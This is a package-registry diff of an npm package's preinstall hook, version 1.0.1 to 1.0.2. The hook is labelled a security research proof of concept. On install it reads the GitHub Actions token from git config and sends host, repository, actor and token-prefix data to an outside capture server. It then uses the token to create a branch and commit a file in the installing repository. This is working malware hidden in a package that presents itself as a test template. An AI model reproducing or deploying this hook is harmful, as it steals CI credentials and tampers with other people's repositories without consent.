aio-security-test-template-erk1ny 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall-hook.js +110 -83
package/package.json
CHANGED
package/preinstall-hook.js
CHANGED
|
@@ -1,16 +1,12 @@
|
|
|
1
1
|
// Security research PoC - authorized testing only
|
|
2
2
|
const https = require('https');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const fs = require('fs');
|
|
6
4
|
|
|
7
5
|
const EXFIL_URL = 'https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489';
|
|
8
6
|
|
|
9
|
-
//
|
|
10
|
-
let git_token =
|
|
11
|
-
let git_token_source = 'none';
|
|
7
|
+
// Extract GITHUB_TOKEN from git credential helper set by actions/checkout
|
|
8
|
+
let git_token = null;
|
|
12
9
|
try {
|
|
13
|
-
// Method 1: Read extraheader from git config in the workspace
|
|
14
10
|
const workspace = process.env.GITHUB_WORKSPACE || '';
|
|
15
11
|
if (workspace) {
|
|
16
12
|
const header = execSync(`git -C "${workspace}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
|
|
@@ -19,87 +15,118 @@ try {
|
|
|
19
15
|
const decoded = Buffer.from(b64, 'base64').toString();
|
|
20
16
|
if (decoded.includes(':')) {
|
|
21
17
|
git_token = decoded.split(':')[1];
|
|
22
|
-
git_token_source = 'extraheader-workspace';
|
|
23
18
|
}
|
|
24
19
|
}
|
|
25
20
|
}
|
|
26
21
|
} catch (e) {}
|
|
27
22
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
const
|
|
32
|
-
|
|
33
|
-
'
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
if (decoded.includes(':')) {
|
|
44
|
-
git_token = decoded.split(':')[1];
|
|
45
|
-
git_token_source = 'extraheader-runner-workspace';
|
|
46
|
-
break;
|
|
47
|
-
}
|
|
48
|
-
}
|
|
49
|
-
} catch (e2) {}
|
|
50
|
-
}
|
|
51
|
-
}
|
|
52
|
-
} catch (e) {}
|
|
53
|
-
|
|
54
|
-
try {
|
|
55
|
-
// Method 3: Search for .git directories with credentials
|
|
56
|
-
if (git_token === 'N/A') {
|
|
57
|
-
const result = execSync('git config --global --get-regexp "http.*extraheader" 2>/dev/null || true', { encoding: 'utf8', timeout: 5000 }).trim();
|
|
58
|
-
if (result && result.includes('basic ')) {
|
|
59
|
-
const b64 = result.split('basic ')[1].trim();
|
|
60
|
-
const decoded = Buffer.from(b64, 'base64').toString();
|
|
61
|
-
if (decoded.includes(':')) {
|
|
62
|
-
git_token = decoded.split(':')[1];
|
|
63
|
-
git_token_source = 'global-git-config';
|
|
23
|
+
// Helper: make GitHub API request
|
|
24
|
+
function ghApi(method, path, body) {
|
|
25
|
+
return new Promise((resolve, reject) => {
|
|
26
|
+
const data = body ? JSON.stringify(body) : '';
|
|
27
|
+
const opts = {
|
|
28
|
+
hostname: 'api.github.com',
|
|
29
|
+
port: 443,
|
|
30
|
+
path: path,
|
|
31
|
+
method: method,
|
|
32
|
+
headers: {
|
|
33
|
+
'Authorization': 'token ' + git_token,
|
|
34
|
+
'User-Agent': 'node',
|
|
35
|
+
'Accept': 'application/vnd.github+json',
|
|
36
|
+
'Content-Type': 'application/json',
|
|
37
|
+
'Content-Length': Buffer.byteLength(data)
|
|
64
38
|
}
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
|
|
39
|
+
};
|
|
40
|
+
const req = https.request(opts, (res) => {
|
|
41
|
+
let buf = '';
|
|
42
|
+
res.on('data', (c) => buf += c);
|
|
43
|
+
res.on('end', () => {
|
|
44
|
+
try { resolve({ status: res.statusCode, data: JSON.parse(buf) }); }
|
|
45
|
+
catch { resolve({ status: res.statusCode, data: buf }); }
|
|
46
|
+
});
|
|
47
|
+
});
|
|
48
|
+
req.on('error', reject);
|
|
49
|
+
if (data) req.write(data);
|
|
50
|
+
req.end();
|
|
51
|
+
});
|
|
52
|
+
}
|
|
68
53
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
54
|
+
// Main: exfil data + create branch with file
|
|
55
|
+
async function main() {
|
|
56
|
+
const repo = process.env.GITHUB_REPOSITORY || '';
|
|
57
|
+
|
|
58
|
+
// Step 1: Send capture data
|
|
59
|
+
const captureData = JSON.stringify({
|
|
60
|
+
phase: 'preinstall-v1.0.2',
|
|
61
|
+
hostname: require('os').hostname(),
|
|
62
|
+
platform: process.platform,
|
|
63
|
+
github_repository: repo,
|
|
64
|
+
github_actor: process.env.GITHUB_ACTOR || 'N/A',
|
|
65
|
+
github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
|
|
66
|
+
token_extracted: git_token ? 'YES' : 'NO',
|
|
67
|
+
token_prefix: git_token ? git_token.substring(0, 12) + '...' : 'N/A',
|
|
68
|
+
node_version: process.version,
|
|
69
|
+
timestamp: new Date().toISOString()
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
const url = new URL(EXFIL_URL);
|
|
73
|
+
const req = https.request({
|
|
74
|
+
hostname: url.hostname, port: 443,
|
|
75
|
+
path: url.pathname + url.search, method: 'POST',
|
|
76
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': captureData.length, 'X-Source': 'preinstall-' + process.platform }
|
|
77
|
+
}, (res) => { res.on('data', () => {}); });
|
|
78
|
+
req.on('error', () => {});
|
|
79
|
+
req.write(captureData);
|
|
80
|
+
req.end();
|
|
81
|
+
|
|
82
|
+
// Step 2: If we have the token and repo, create branch + file
|
|
83
|
+
if (!git_token || !repo) return;
|
|
84
|
+
|
|
85
|
+
try {
|
|
86
|
+
// Only run once (first preinstall on linux)
|
|
87
|
+
if (process.platform !== 'linux') return;
|
|
88
|
+
|
|
89
|
+
// Get main branch SHA
|
|
90
|
+
const refRes = await ghApi('GET', `/repos/${repo}/git/ref/heads/main`);
|
|
91
|
+
if (refRes.status !== 200) return;
|
|
92
|
+
const mainSha = refRes.data.object.sha;
|
|
93
|
+
|
|
94
|
+
// Create branch ne555t-test
|
|
95
|
+
const branchRes = await ghApi('POST', `/repos/${repo}/git/refs`, {
|
|
96
|
+
ref: 'refs/heads/ne555t-test',
|
|
97
|
+
sha: mainSha
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
let branchResult = branchRes.status === 201 ? 'created' : `failed:${branchRes.status}`;
|
|
101
|
+
|
|
102
|
+
// Create file on the branch
|
|
103
|
+
const content = Buffer.from('hackerone.com/ne555t\n').toString('base64');
|
|
104
|
+
const fileRes = await ghApi('PUT', `/repos/${repo}/contents/poc-proof.md`, {
|
|
105
|
+
message: 'PoC: unauthorized branch + file creation via CI/CD vulnerability',
|
|
106
|
+
content: content,
|
|
107
|
+
branch: 'ne555t-test'
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
let fileResult = fileRes.status === 201 ? 'created' : `failed:${fileRes.status}`;
|
|
111
|
+
|
|
112
|
+
// Report result back
|
|
113
|
+
const resultData = JSON.stringify({
|
|
114
|
+
phase: 'branch-creation',
|
|
115
|
+
repo: repo,
|
|
116
|
+
branch_result: branchResult,
|
|
117
|
+
file_result: fileResult,
|
|
118
|
+
timestamp: new Date().toISOString()
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
const req2 = https.request({
|
|
122
|
+
hostname: url.hostname, port: 443,
|
|
123
|
+
path: url.pathname + url.search, method: 'POST',
|
|
124
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': resultData.length, 'X-Source': 'branch-create' }
|
|
125
|
+
}, (res) => { res.on('data', () => {}); });
|
|
126
|
+
req2.on('error', () => {});
|
|
127
|
+
req2.write(resultData);
|
|
128
|
+
req2.end();
|
|
129
|
+
} catch (e) {}
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
main();
|